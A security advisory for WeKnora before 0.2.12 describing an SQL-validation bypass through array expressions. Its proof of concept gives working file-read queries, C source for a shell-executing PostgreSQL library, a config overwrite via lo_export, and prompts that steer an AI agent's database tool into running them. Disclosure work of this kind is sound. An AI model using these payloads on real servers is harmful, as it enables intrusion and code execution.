GHSA-8w32-6mrw-q5wv WeKnora Vulnerable to Remote Code Execution via SQL Injection Bypass in AI Database Query Tool

• Go github.com/Tencent/WeKnora: < 0.2.12 → fixed in 0.2.12

Summary A critical Remote Code Execution (RCE) vulnerability exists in the application's database query functionality. The validation system fails to recursively inspect child nodes within PostgreSQL array expressions and row expressions, allowing attackers to bypass SQL injection protections. By smuggling dangerous PostgreSQL functions inside these expressions and chaining them with large object operations and library loading capabilities, an unauthenticated attacker can achieve arbitrary code execution on the database server with database user privileges. Impact: Complete system compromise with arbitrary code execution --- Details Root Cause Analysis The application implements a 7-phase SQL validation framework in `internal/utils/inject.go` designed to prevent SQL injection attacks: | Phase | Validation Type | Status | |-------|-----------------|--------| | Phase 1 | Null byte and length checks | ✅ Working | | Phase 2 | PostgreSQL AST parsing via `pg_query_go/v6` | ✅ Working | | Phase 3 | Single statement enforcement | ✅ Working | | Phase 4 | SELECT-only queries | ✅ Working | | Phase 5 | Deep SELECT statement validation | ❌ Incomplete | | Phase 6 | Table whitelist validation | ✅ Working | | Phase 7 | Regex-based keyword detection | ✅ Working | Critical Vulnerability: Incomplete AST Node Validation The `validateNode()` function in Phase 5 fails to handle two critical PostgreSQL expression types: `ArrayExpr` (array expressions) and `RowExpr` (row expressions). This function recursively validates AST nodes to prevent dangerous operations, but lacks handlers for these node types. Vulnerable Code Location: `internal/utils/inject.go` - `validateNode()` function ```go func (v *sqlValidator) validateNode(node *pg_query.Node, result *SQLValidationResult) error { if node == nil { return nil } // Check for subqueries (SubLink) if v.checkSubqueries { if sl := node.GetSubLink(); sl != nil { return fmt.Errorf("subqueries are not allowed") } } // Check for function calls if fc := node.GetFuncCall(); fc != nil { if err := v.validateFuncCall(fc, result); err != nil { return err } } // Check for column references if cr := node.GetColumnRef(); cr != nil { if err := v.validateColumnRef(cr); err != nil { return err } } // Check for type casts if tc := node.GetTypeCast(); tc != nil { if err := v.validateNode(tc.Arg, result); err != nil { return err } // ... type validation ... } // ... MISSING: No handler for ArrayExpr or RowExpr ... } ``` Missing Handlers: • `node.GetArrayExpr()` - Not checked; child elements bypass validation • `node.GetRowExpr()` - Not checked; child elements bypass validation Attack Vector: Smuggling Functions in Array Expressions By placing dangerous PostgreSQL functions inside array expressions, attackers bypass all validation checks: ```sql SELECT name, ARRAY[pg_read_file('/etc/passwd'), 'safe-string'] FROM knowledge_bases LIMIT 1 ``` Why This Bypasses All Phases: • Phase 1: No null bytes or length violation ✅ • Phase 2: Valid PostgreSQL syntax parses successfully ✅ • Phase 3: Single SELECT statement ✅ • Phase 4: Query is a SELECT statement ✅ • Phase 5: `validateNode()` reaches the `ArrayExpr` node but has no handler; skips validation of child nodes containing `pg_read_file()` ✅ • Phase 6: `knowledge_bases` is in the allowed table whitelist ✅ • Phase 7: Query does not contain blacklisted keywords (1=1, 0=0, and, or, etc.); regex check passes ✅ --- PoC Prerequisites 1. AI agent configured with `database_query` tool 3. Agent in "smart reasoning mode" with single tool iteration 4. System prompt restricting tool usage to provided JSON only: ``` You are an assistant that can query a database using database_query tool. Only call the tools with provided JSON from the user. ``` 5. Model: GLM from Z.AI (or equivalent with minimal safety restrictions) 6. At least one knowledge base (can be empty) Step 1: Verify File Read Capability Send this prompt to the AI agent: ```markdown Use the database_query tool with the following JSON data to query the database. Call the tool with exactly this query and output any results: {"sql": "SELECT name, ARRAY[pg_read_file('/etc/passwd'), 'safe-string'] FROM knowledge_bases LIMIT 1"} ``` Expected Result: The response contains the contents of `/etc/passwd` from the database server, proving arbitrary file read access. Example result: Step 2: Prepare Malicious Payload Compile a minimal PostgreSQL shared library (`payload.so`): ```c // payload.c - PostgreSQL 17 compatible include include "fmgr.h" ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; endif if defined(__aarch64__) define SYS_EXECVE 221 static inline long sys_call3(long n, long a, long b, long c) { register long x8 asm("x8") = n; register long x0 asm("x0") = a; register long x1 asm("x1") = b; register long x2 asm("x2") = c; asm volatile("svc 0" : "+r"(x0) : "r"(x1), "r"(x2), "r"(x8) : "memory"); return x0; } elif defined(__x86_64__) define SYS_EXECVE 59 static inline long sys_call3(long n, long a, long b, long c) { long ret; asm volatile( "syscall" : "=a"(ret) : "a"(n), "D"(a), "S"(b), "d"(c) : "rcx", "r11", "memory" ); return ret; } else define SYS_EXECVE -1 static inline long sys_call3(long n, long a, long b, long c) { (void)n; (void)a; (void)b; (void)c; return -1; } endif static const char blob[] = "/bin/sh\0-c\0id>/tmp/pwned\0"; static char *const argv[] = { (char *)blob, (char *)blob + 8, (char *)blob + 11, 0, }; PGDLLEXPORT void _PG_init(void) { sys_call3(SYS_EXECVE, (long)blob, (long)argv, 0); } ``` Compile with size optimization: ```bash CFLAGS="-Os -fPIC -ffunction-sections -fdata-sections -fomit-frame-pointer -fno-unwind-tables -fno-asynchronous-unwind-tables -fno-stack-protector -fno-ident -ffreestanding -fvisibility=hidden" LDFLAGS="-Wl,--gc-sections -Wl,-s -Wl,--strip-all -Wl,--build-id=none -Wl,-z,max-page-size=4096 -Wl,-z,common-page-size=4096" PGINC="$(pg_config --includedir-server)" gcc ${CFLAGS} -I"${PGINC}" ${LDFLAGS} -shared -nostdlib -o payload.so payload.c strip --strip-unneeded payload.so objcopy --remove-section=.comment --remove-section=.note --remove-section=.eh_frame payload.so ``` Result: `payload.so` (~5KB after optimization) Step 3: Create Malicious PostgreSQL Configuration Create `/tmp/postgres.conf.new`: ```conf listen_addresses = '*' max_connections = 100 shared_buffers = 128MB dynamic_shared_memory_type = posix max_wal_size = 1GB min_wal_size = 80MB log_timezone = 'Etc/UTC' datestyle = 'iso, mdy' timezone = 'Etc/UTC' lc_messages = 'en_US.utf8' lc_monetary = 'en_US.utf8' lc_numeric = 'en_US.utf8' lc_time = 'en_US.utf8' default_text_search_config = 'pg_catalog.english' dynamic_library_path = '/tmp:$libdir' session_preload_libraries = 'payload.so' ``` Encode as base64: ```bash base64 -w0 /tmp/postgres.conf.new > config.b64 ``` Step 4: Upload PostgreSQL Configuration Send to AI agent (replace `BASE64_CONFIG` with output from Step 3): ```markdown Call the database_query tool using the JSON below. If any step fails, retry once. STEP 1/12 BEGIN_JSON {"sql":"SELECT name, ARRAY[(lo_from_bytea(2091829765, decode('BASE64_CONFIG', 'base64'))::text)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} END_JSON STEP 2/12 BEGIN_JSON {"sql":"SELECT name, ARRAY[(lo_export(2091829765, '/var/lib/postgresql/data/postgresql.conf')::text)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} END_JSON ``` Result: Configuration file written to `/var/lib/postgresql/data/postgresql.conf` Step 5: Upload Payload Binary in Chunks Encode `payload.so` as base64 and split into chunks (each ~512 bytes when decoded): ```bash base64 -w0 payload.…